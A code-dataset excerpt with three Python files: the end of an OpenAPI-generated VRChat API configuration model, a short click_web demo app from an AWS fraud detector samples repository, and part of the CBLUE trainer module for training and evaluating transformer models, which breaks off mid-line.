kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) self = super(OpenApiModel, cls).__new__(cls) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) self.voice_enable_degradation = voice_enable_degradation self.voice_enable_receiver_limiting = voice_enable_receiver_limiting self.address = address self.announcements = announcements self.api_key = api_key self.app_name = app_name self.build_version_tag = build_version_tag self.client_api_key = client_api_key self.client_bps_ceiling = client_bps_ceiling self.client_disconnect_timeout = client_disconnect_timeout self.client_reserved_player_bps = client_reserved_player_bps self.client_sent_count_allowance = client_sent_count_allowance self.contact_email = contact_email self.copyright_email = copyright_email self.current_tos_version = current_tos_version self.default_avatar = default_avatar self.deployment_group = deployment_group self.dev_app_version_standalone = dev_app_version_standalone self.dev_download_link_windows = dev_download_link_windows self.dev_sdk_url = dev_sdk_url self.dev_sdk_version = dev_sdk_version self.dev_server_version_standalone = dev_server_version_standalone self.dis_countdown = dis_countdown self.disable_avatar_copying = disable_avatar_copying self.disable_avatar_gating = disable_avatar_gating self.disable_community_labs = disable_community_labs self.disable_community_labs_promotion = disable_community_labs_promotion self.disable_email = disable_email self.disable_event_stream = disable_event_stream self.disable_feedback_gating = disable_feedback_gating self.disable_frontend_builds = disable_frontend_builds self.disable_hello = disable_hello self.disable_oculus_subs = disable_oculus_subs self.disable_registration = disable_registration self.disable_steam_networking = disable_steam_networking self.disable_two_factor_auth = disable_two_factor_auth self.disable_udon = disable_udon self.disable_upgrade_account = disable_upgrade_account self.download_link_windows = download_link_windows self.download_urls = download_urls self.dynamic_world_rows = dynamic_world_rows self.events = events self.gear_demo_room_id = gear_demo_room_id self.home_world_id = home_world_id self.homepage_redirect_target = homepage_redirect_target self.hub_world_id = hub_world_id self.jobs_email = jobs_email self.message_of_the_day = message_of_the_day self.moderation_email = moderation_email self.moderation_query_period = moderation_query_period self.not_allowed_to_select_avatar_in_private_world_message = not_allowed_to_select_avatar_in_private_world_message self.plugin = plugin self.release_app_version_standalone = release_app_version_standalone self.release_sdk_url = release_sdk_url self.release_sdk_version = release_sdk_version self.release_server_version_standalone = release_server_version_standalone self.sdk_developer_faq_url = sdk_developer_faq_url self.sdk_discord_url = sdk_discord_url self.sdk_not_allowed_to_publish_message = sdk_not_allowed_to_publish_message self.sdk_unity_version = sdk_unity_version self.server_name = server_name self.support_email = support_email self.time_out_world_id = time_out_world_id self.tutorial_world_id = tutorial_world_id self.update_rate_ms_maximum = update_rate_ms_maximum self.update_rate_ms_minimum = update_rate_ms_minimum self.update_rate_ms_normal = update_rate_ms_normal self.update_rate_ms_udon_manual = update_rate_ms_udon_manual self.upload_analysis_percent = upload_analysis_percent self.url_list = url_list self.use_reliable_udp_for_voice = use_reliable_udp_for_voice self.user_update_period = user_update_period self.user_verification_delay = user_verification_delay self.user_verification_retry = user_verification_retry self.user_verification_timeout = user_verification_timeout self.vive_windows_url = vive_windows_url self.white_listed_asset_urls = white_listed_asset_urls self.world_update_period = world_update_period self.youtubedl_hash = youtubedl_hash self.youtubedl_version = youtubedl_version for var_name, var_value in kwargs.items(): if var_name not in self.attribute_map and \ self._configuration is not None and \ self._configuration.discard_unknown_keys and \ self.additional_properties_type is None: # discard variable. continue setattr(self, var_name, var_value) return self required_properties = set([ '_data_store', '_check_type', '_spec_property_naming', '_path_to_item', '_configuration', '_visited_composed_classes', ]) @convert_js_args_to_python_args def __init__(self, address, announcements, api_key, build_version_tag, client_api_key, contact_email, copyright_email, current_tos_version, default_avatar, deployment_group, dev_app_version_standalone, dev_download_link_windows, dev_sdk_url, dev_sdk_version, dev_server_version_standalone, dis_countdown, download_link_windows, download_urls, dynamic_world_rows, events, gear_demo_room_id, home_world_id, hub_world_id, jobs_email, message_of_the_day, moderation_email, moderation_query_period, not_allowed_to_select_avatar_in_private_world_message, plugin, release_app_version_standalone, release_sdk_url, release_sdk_version, release_server_version_standalone, sdk_developer_faq_url, sdk_discord_url, sdk_not_allowed_to_publish_message, sdk_unity_version, server_name, support_email, time_out_world_id, tutorial_world_id, update_rate_ms_maximum, update_rate_ms_minimum, update_rate_ms_normal, update_rate_ms_udon_manual, upload_analysis_percent, url_list, user_update_period, user_verification_delay, user_verification_retry, user_verification_timeout, vive_windows_url, white_listed_asset_urls, world_update_period, youtubedl_hash, youtubedl_version, *args, **kwargs): # noqa: E501 """APIConfig - a model defined in OpenAPI Args: address (str): VRChat's office address announcements ([PublicAnnouncement]): Public Announcements api_key (str): apiKey to be used for all other requests build_version_tag (str): Build tag of the API server client_api_key (str): apiKey to be used for all other requests contact_email (str): VRChat's contact email copyright_email (str): VRChat's copyright-issues-related email current_tos_version (int): Current version number of the Terms of Service default_avatar (AvatarID): deployment_group (DeploymentGroup): dev_app_version_standalone (str): Version number for game development build dev_download_link_windows (str): Developer Download link dev_sdk_url (str): Link to download the development SDK, use downloadUrls instead dev_sdk_version (str): Version of the development SDK dev_server_version_standalone (str): Version number for server development build dis_countdown (datetime): Unknown, \"dis\" maybe for disconnect? download_link_windows (str): Download link for game on the Oculus Rift website. download_urls (DownloadURLList): dynamic_world_rows ([DynamicContentRow]): Array of DynamicWorldRow objects, used by the game to display the list of world rows events (APIEventConfig): gear_demo_room_id (str): Unknown home_world_id (WorldID): hub_world_id (WorldID): jobs_email (str): VRChat's job application email message_of_the_day (str): MOTD moderation_email (str): VRChat's moderation related email moderation_query_period (int): Unknown not_allowed_to_select_avatar_in_private_world_message (str): Used in-game to notify a user they aren't allowed to select avatars in private worlds plugin (str): Extra [plugin](https://doc.photonengine.com/en-us/server/current/plugins/manual) to run in each instance release_app_version_standalone (str): Version number for game release build release_sdk_url (str): Link to download the release SDK release_sdk_version (str): Version of the release SDK release_server_version_standalone (str): Version number for server release build sdk_developer_faq_url (str): Link to the developer FAQ sdk_discord_url (str): Link to the official VRChat Discord sdk_not_allowed_to_publish_message (str): Used in the SDK to notify a user they aren't allowed to upload avatars/worlds yet sdk_unity_version (str): Unity version supported by the SDK server_name (str): Server name of the API server currently responding support_email (str): VRChat's support email time_out_world_id (WorldID): tutorial_world_id (WorldID): update_rate_ms_maximum (int): Unknown update_rate_ms_minimum (int): Unknown update_rate_ms_normal (int): Unknown update_rate_ms_udon_manual (int): Unknown upload_analysis_percent (int): Unknown url_list ([str]): List of allowed URLs that bypass the \"Allow untrusted URL's\" setting in-game user_update_period (int): Unknown user_verification_delay (int): Unknown user_verification_retry (int): Unknown user_verification_timeout (int): Unknown vive_windows_url (str): Download link for game on the Steam website. white_listed_asset_urls ([str]): List of allowed URLs that are allowed to host avatar assets world_update_period (int): Unknown youtubedl_hash (str): Currently used youtube-dl.exe hash in SHA-256-delimited format youtubedl_version (str): Currently used youtube-dl.exe version Keyword Args: voice_enable_degradation (bool): Unknown, probably voice optimization testing. defaults to False # noqa: E501 voice_enable_receiver_limiting (bool): Unknown, probably voice optimization testing. defaults to True # noqa: E501 app_name (str): Game name. defaults to "VrChat" # noqa: E501 client_bps_ceiling (int): Unknown. defaults to 18432 # noqa: E501 client_disconnect_timeout (int): Unknown. defaults to 30000 # noqa: E501 client_reserved_player_bps (int): Unknown. defaults to 7168 # noqa: E501 client_sent_count_allowance (int): Unknown. defaults to 15 # noqa: E501 disable_avatar_copying (bool): Toggles if copying avatars should be disabled. defaults to False # noqa: E501 disable_avatar_gating (bool): Toggles if avatar gating should be disabled. Avatar gating restricts uploading of avatars to people with the `system_avatar_access` Tag or `admin_avatar_access` Tag. defaults to False # noqa: E501 disable_community_labs (bool): Toggles if the Community Labs should be disabled. defaults to False # noqa: E501 disable_community_labs_promotion (bool): Toggles if promotion out of Community Labs should be disabled. defaults to False # noqa: E501 disable_email (bool): Unknown. defaults to False # noqa: E501 disable_event_stream (bool): Toggles if Analytics should be disabled.. defaults to False # noqa: E501 disable_feedback_gating (bool): Toggles if feedback gating should be disabled. Feedback gating restricts submission of feedback (reporting a World or User) to people with the `system_feedback_access` Tag.. defaults to False # noqa: E501 disable_frontend_builds (bool): Unknown, probably toggles compilation of frontend web builds? So internal flag?. defaults to False # noqa: E501 disable_hello (bool): Unknown. defaults to False # noqa: E501 disable_oculus_subs (bool): Toggles if signing up for Subscriptions in Oculus is disabled or not.. defaults to False # noqa: E501 disable_registration (bool): Toggles if new user account registration should be disabled.. defaults to False # noqa: E501 disable_steam_networking (bool): Toggles if Steam Networking should be disabled. VRChat these days uses Photon Unity Networking (PUN) instead.. defaults to True # noqa: E501 disable_two_factor_auth (bool): Toggles if 2FA should be disabled.. defaults to False # noqa: E501 disable_udon (bool): Toggles if Udon should be universally disabled in-game.. defaults to False # noqa: E501 disable_upgrade_account (bool): Toggles if account upgrading \"linking with Steam/Oculus\" should be disabled.. defaults to False # noqa: E501 homepage_redirect_target (str): Redirect target if you try to open the base API domain in your browser. defaults to "https://hello.vrchat.com" # noqa: E501 use_reliable_udp_for_voice (bool): Unknown. defaults to False # noqa: E501 _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) """ voice_enable_degradation = kwargs.get('voice_enable_degradation', False) voice_enable_receiver_limiting = kwargs.get('voice_enable_receiver_limiting', True) app_name = kwargs.get('app_name', "VrChat") client_bps_ceiling = kwargs.get('client_bps_ceiling', 18432) client_disconnect_timeout = kwargs.get('client_disconnect_timeout', 30000) client_reserved_player_bps = kwargs.get('client_reserved_player_bps', 7168) client_sent_count_allowance = kwargs.get('client_sent_count_allowance', 15) disable_avatar_copying = kwargs.get('disable_avatar_copying', False) disable_avatar_gating = kwargs.get('disable_avatar_gating', False) disable_community_labs = kwargs.get('disable_community_labs', False) disable_community_labs_promotion = kwargs.get('disable_community_labs_promotion', False) disable_email = kwargs.get('disable_email', False) disable_event_stream = kwargs.get('disable_event_stream', False) disable_feedback_gating = kwargs.get('disable_feedback_gating', False) disable_frontend_builds = kwargs.get('disable_frontend_builds', False) disable_hello = kwargs.get('disable_hello', False) disable_oculus_subs = kwargs.get('disable_oculus_subs', False) disable_registration = kwargs.get('disable_registration', False) disable_steam_networking = kwargs.get('disable_steam_networking', True) disable_two_factor_auth = kwargs.get('disable_two_factor_auth', False) disable_udon = kwargs.get('disable_udon', False) disable_upgrade_account = kwargs.get('disable_upgrade_account', False) homepage_redirect_target = kwargs.get('homepage_redirect_target', "https://hello.vrchat.com") use_reliable_udp_for_voice = kwargs.get('use_reliable_udp_for_voice', False) _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', False) _path_to_item = kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) self.voice_enable_degradation = voice_enable_degradation self.voice_enable_receiver_limiting = voice_enable_receiver_limiting self.address = address self.announcements = announcements self.api_key = api_key self.app_name = app_name self.build_version_tag = build_version_tag self.client_api_key = client_api_key self.client_bps_ceiling = client_bps_ceiling self.client_disconnect_timeout = client_disconnect_timeout self.client_reserved_player_bps = client_reserved_player_bps self.client_sent_count_allowance = client_sent_count_allowance self.contact_email = contact_email self.copyright_email = copyright_email self.current_tos_version = current_tos_version self.default_avatar = default_avatar self.deployment_group = deployment_group self.dev_app_version_standalone = dev_app_version_standalone self.dev_download_link_windows = dev_download_link_windows self.dev_sdk_url = dev_sdk_url self.dev_sdk_version = dev_sdk_version self.dev_server_version_standalone = dev_server_version_standalone self.dis_countdown = dis_countdown self.disable_avatar_copying = disable_avatar_copying self.disable_avatar_gating = disable_avatar_gating self.disable_community_labs = disable_community_labs self.disable_community_labs_promotion = disable_community_labs_promotion self.disable_email = disable_email self.disable_event_stream = disable_event_stream self.disable_feedback_gating = disable_feedback_gating self.disable_frontend_builds = disable_frontend_builds self.disable_hello = disable_hello self.disable_oculus_subs = disable_oculus_subs self.disable_registration = disable_registration self.disable_steam_networking = disable_steam_networking self.disable_two_factor_auth = disable_two_factor_auth self.disable_udon = disable_udon self.disable_upgrade_account = disable_upgrade_account self.download_link_windows = download_link_windows self.download_urls = download_urls self.dynamic_world_rows = dynamic_world_rows self.events = events self.gear_demo_room_id = gear_demo_room_id self.home_world_id = home_world_id self.homepage_redirect_target = homepage_redirect_target self.hub_world_id = hub_world_id self.jobs_email = jobs_email self.message_of_the_day = message_of_the_day self.moderation_email = moderation_email self.moderation_query_period = moderation_query_period self.not_allowed_to_select_avatar_in_private_world_message = not_allowed_to_select_avatar_in_private_world_message self.plugin = plugin self.release_app_version_standalone = release_app_version_standalone self.release_sdk_url = release_sdk_url self.release_sdk_version = release_sdk_version self.release_server_version_standalone = release_server_version_standalone self.sdk_developer_faq_url = sdk_developer_faq_url self.sdk_discord_url = sdk_discord_url self.sdk_not_allowed_to_publish_message = sdk_not_allowed_to_publish_message self.sdk_unity_version = sdk_unity_version self.server_name = server_name self.support_email = support_email self.time_out_world_id = time_out_world_id self.tutorial_world_id = tutorial_world_id self.update_rate_ms_maximum = update_rate_ms_maximum self.update_rate_ms_minimum = update_rate_ms_minimum self.update_rate_ms_normal = update_rate_ms_normal self.update_rate_ms_udon_manual = update_rate_ms_udon_manual self.upload_analysis_percent = upload_analysis_percent self.url_list = url_list self.use_reliable_udp_for_voice = use_reliable_udp_for_voice self.user_update_period = user_update_period self.user_verification_delay = user_verification_delay self.user_verification_retry = user_verification_retry self.user_verification_timeout = user_verification_timeout self.vive_windows_url = vive_windows_url self.white_listed_asset_urls = white_listed_asset_urls self.world_update_period = world_update_period self.youtubedl_hash = youtubedl_hash self.youtubedl_version = youtubedl_version for var_name, var_value in kwargs.items(): if var_name not in self.attribute_map and \ self._configuration is not None and \ self._configuration.discard_unknown_keys and \ self.additional_properties_type is None: # discard variable. continue setattr(self, var_name, var_value) if var_name in self.read_only_vars: raise ApiAttributeError(f"`{var_name}` is a read-only attribute. Use `from_openapi_data` to instantiate " f"class with read only attributes.")

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1

0

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null

0

8

73ce3536add53322859b0781ef6fbceac84102e0

146

py

Python

demo_scripts/app.py

groverpr/aws-fraud-detector-samples

a1f178ee4389416b93750abb1db622f74a6b3cb4

[ "MIT-0" ]

null

demo_scripts/app.py

groverpr/aws-fraud-detector-samples

a1f178ee4389416b93750abb1db622f74a6b3cb4

[ "MIT-0" ]

null

demo_scripts/app.py

groverpr/aws-fraud-detector-samples

a1f178ee4389416b93750abb1db622f74a6b3cb4

[ "MIT-0" ]

1

2022-01-25T20:48:22.000Z

from click_web import create_click_web_app import create_afd_resources app = create_click_web_app(create_afd_resources, create_afd_resources.cli)

36.5

74

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146

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null

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1

0

7

fb5bcee324d2c1b4afd51fd4cb18ee1f4c93732e

96,345

py

Python

cblue/trainer/train.py

dfhby0/CBLUE

36bdb52f17c4379d4a5f8b407890ba294017b5e2

[ "Apache-2.0" ]

293

2021-06-07T06:04:37.000Z

2022-03-28T09:38:28.000Z

cblue/trainer/train.py

dfhby0/CBLUE

36bdb52f17c4379d4a5f8b407890ba294017b5e2

[ "Apache-2.0" ]

6

2021-06-11T09:50:15.000Z

2022-03-18T07:33:56.000Z

cblue/trainer/train.py

dfhby0/CBLUE

36bdb52f17c4379d4a5f8b407890ba294017b5e2

[ "Apache-2.0" ]

61

2021-06-07T06:38:42.000Z

2022-03-30T07:16:46.000Z

import os import json import numpy as np import torch import torch.nn as nn from transformers import AdamW, get_linear_schedule_with_warmup from torch.utils.data import Dataset, DataLoader from cblue.utils import seed_everything, ProgressBar, TokenRematch from cblue.metrics import sts_metric, qic_metric, qqr_metric, qtr_metric, \ ctc_metric, ee_metric, er_metric, re_metric, cdn_cls_metric, cdn_num_metric from cblue.metrics import sts_commit_prediction, qic_commit_prediction, qtr_commit_prediction, \ qqr_commit_prediction, ctc_commit_prediction, ee_commit_prediction, cdn_commit_prediction from cblue.models import convert_examples_to_features, save_zen_model class Trainer(object): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): self.args = args self.model = model self.data_processor = data_processor self.tokenizer = tokenizer if train_dataset is not None and isinstance(train_dataset, Dataset): self.train_dataset = train_dataset if eval_dataset is not None and isinstance(eval_dataset, Dataset): self.eval_dataset = eval_dataset self.logger = logger self.model_class = model_class self.ngram_dict = ngram_dict def train(self): args = self.args logger = self.logger model = self.model model.to(args.device) train_dataloader = self.get_train_dataloader() num_training_steps = len(train_dataloader) * args.epochs num_warmup_steps = num_training_steps * args.warmup_proportion num_examples = len(train_dataloader.dataset) no_decay = ['bias', 'LayerNorm.weight'] optimizer_grouped_parameters = [ {'params': [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], 'weight_decay': self.args.weight_decay}, {'params': [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], 'weight_decay': 0.0} ] optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, eps=args.adam_epsilon) scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=num_warmup_steps, num_training_steps=num_training_steps) if args.task_name in ['qic', 'qqr', 'qtr', 'sts']: seed_everything(args.seed) model.zero_grad() logger.info("***** Running training *****") logger.info("Num samples %d", num_examples) logger.info("Num epochs %d", args.epochs) logger.info("Num training steps %d", num_training_steps) logger.info("Num warmup steps %d", num_warmup_steps) global_step = 0 best_step = None best_score = .0 cnt_patience = 0 for i in range(args.epochs): pbar = ProgressBar(n_total=len(train_dataloader), desc='Training') for step, item in enumerate(train_dataloader): loss = self.training_step(model, item) pbar(step, {'loss': loss.item()}) if args.max_grad_norm: torch.nn.utils.clip_grad_norm_(model.parameters(), args.max_grad_norm) optimizer.step() scheduler.step() if args.task_name in ['qic', 'qqr', 'qtr', 'sts']: model.zero_grad() else: optimizer.zero_grad() global_step += 1 if args.logging_steps > 0 and global_step % args.logging_steps == 0: print("") score = self.evaluate(model) if score > best_score: best_score = score best_step = global_step cnt_patience = 0 self._save_checkpoint(model, global_step) else: cnt_patience += 1 self.logger.info("Earlystopper counter: %s out of %s", cnt_patience, args.earlystop_patience) if cnt_patience >= self.args.earlystop_patience: break if cnt_patience >= args.earlystop_patience: break logger.info("Training Stop! The best step %s: %s", best_step, best_score) if args.device == 'cuda': torch.cuda.empty_cache() self._save_best_checkpoint(best_step=best_step) return global_step, best_step def evaluate(self, model): raise NotImplementedError def _save_checkpoint(self, model, step): raise NotImplementedError def _save_best_checkpoint(self, best_step): raise NotImplementedError def training_step(self, model, item): raise NotImplementedError def get_train_dataloader(self): return DataLoader( self.train_dataset, batch_size=self.args.train_batch_size, shuffle=True ) def get_eval_dataloader(self): return DataLoader( self.eval_dataset, batch_size=self.args.eval_batch_size, shuffle=False ) def get_test_dataloader(self, test_dataset, batch_size=None): if not batch_size: batch_size = self.args.eval_batch_size return DataLoader( test_dataset, batch_size=batch_size, shuffle=False ) class EETrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(EETrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() input_ids = item[0].to(self.args.device) token_type_ids = item[1].to(self.args.device) attention_mask = item[2].to(self.args.device) labels = item[3].to(self.args.device) if self.args.model_type == 'zen': input_ngram_ids = item[4].to(self.args.device) ngram_attention_mask = item[5].to(self.args.device) ngram_token_type_ids = item[6].to(self.args.device) ngram_position_matrix = item[7].to(self.args.device) if self.args.model_type == 'zen': outputs = model(input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, labels=labels, ngram_ids=input_ngram_ids, ngram_positions=ngram_position_matrix, ngram_attention_mask=ngram_attention_mask, ngram_token_type_ids=ngram_token_type_ids) else: outputs = model(labels=labels, input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() input_ids = item[0].to(self.args.device) token_type_ids = item[1].to(self.args.device) attention_mask = item[2].to(self.args.device) labels = item[3].to(self.args.device) if args.model_type == 'zen': input_ngram_ids = item[4].to(self.args.device) ngram_attention_mask = item[5].to(self.args.device) ngram_token_type_ids = item[6].to(self.args.device) ngram_position_matrix = item[7].to(self.args.device) with torch.no_grad(): if self.args.model_type == 'zen': outputs = model(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask, labels=labels, ngram_ids=input_ngram_ids, ngram_positions=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids, ngram_attention_mask=ngram_attention_mask) else: outputs = model(labels=labels, input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask) # outputs = model(labels=labels, **inputs) loss, logits = outputs[:2] # active_index = inputs['attention_mask'].view(-1) == 1 active_index = attention_mask.view(-1) == 1 active_labels = labels.view(-1)[active_index] logits = logits.argmax(dim=-1) active_logits = logits.view(-1)[active_index] if preds is None: preds = active_logits.detach().cpu().numpy() eval_labels = active_labels.detach().cpu().numpy() else: preds = np.append(preds, active_logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, active_labels.detach().cpu().numpy(), axis=0) p, r, f1, _ = ee_metric(preds, eval_labels) logger.info("%s-%s precision: %s - recall: %s - f1 score: %s", args.task_name, args.model_name, p, r, f1) return f1 def predict(self, model, test_dataset): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) predictions = [] logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Prediction') for step, item in enumerate(test_dataloader): model.eval() input_ids = item[0].to(self.args.device) token_type_ids = item[1].to(self.args.device) attention_mask = item[2].to(self.args.device) if args.model_type == 'zen': input_ngram_ids = item[3].to(self.args.device) ngram_attention_mask = item[4].to(self.args.device) ngram_token_type_ids = item[5].to(self.args.device) ngram_position_matrix = item[6].to(self.args.device) with torch.no_grad(): if self.args.model_type == 'zen': outputs = model(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask, ngram_ids=input_ngram_ids, ngram_positions=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids, ngram_attention_mask=ngram_attention_mask) else: outputs = model(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask) if args.model_type == 'zen': logits = outputs.detach() else: logits = outputs[0].detach() # active_index = (inputs['attention_mask'] == 1).cpu() active_index = attention_mask == 1 preds = logits.argmax(dim=-1).cpu() for i in range(len(active_index)): predictions.append(preds[i][active_index[i]].tolist()) pbar(step=step, info="") # test_inputs = [list(text) for text in test_dataset.texts] test_inputs = test_dataset.texts predictions = [pred[1:-1] for pred in predictions] predicts = self.data_processor.extract_result(predictions, test_inputs) ee_commit_prediction(dataset=test_dataset, preds=predicts, output_dir=args.result_output_dir) def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(output_dir) torch.save(self.args, os.path.join(output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=output_dir) self.logger.info('Saving models checkpoint to %s', output_dir) def _save_best_checkpoint(self, best_step): model = self.model_class.from_pretrained(os.path.join(self.args.output_dir, f'checkpoint-{best_step}'), num_labels=self.data_processor.num_labels) if self.args.model_type == 'zen': save_zen_model(self.args.output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(self.args.output_dir) torch.save(self.args, os.path.join(self.args.output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=self.args.output_dir) self.logger.info('Saving models checkpoint to %s', self.args.output_dir) class STSTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(STSTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() text1 = item[0] text2 = item[1] labels = item[2].to(self.args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) # default using 'Transformers' library models. outputs = model(labels=labels, **inputs) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() text1 = item[0] text2 = item[1] labels = item[2].to(args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(labels=labels, **inputs) loss, logits = outputs[:2] if preds is None: preds = logits.detach().cpu().numpy() eval_labels = labels.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, labels.detach().cpu().numpy(), axis=0) preds = np.argmax(preds, axis=1) p, r, f1, _ = sts_metric(preds, eval_labels) logger.info("%s-%s precision: %s - recall: %s - f1 score: %s", args.task_name, args.model_name, p, r, f1) return f1 def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(output_dir) torch.save(self.args, os.path.join(output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=output_dir) self.logger.info('Saving models checkpoint to %s', output_dir) def predict(self, test_dataset, model): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) preds = None logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Prediction') for step, item in enumerate(test_dataloader): model.eval() text1 = item[0] text2 = item[1] if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = 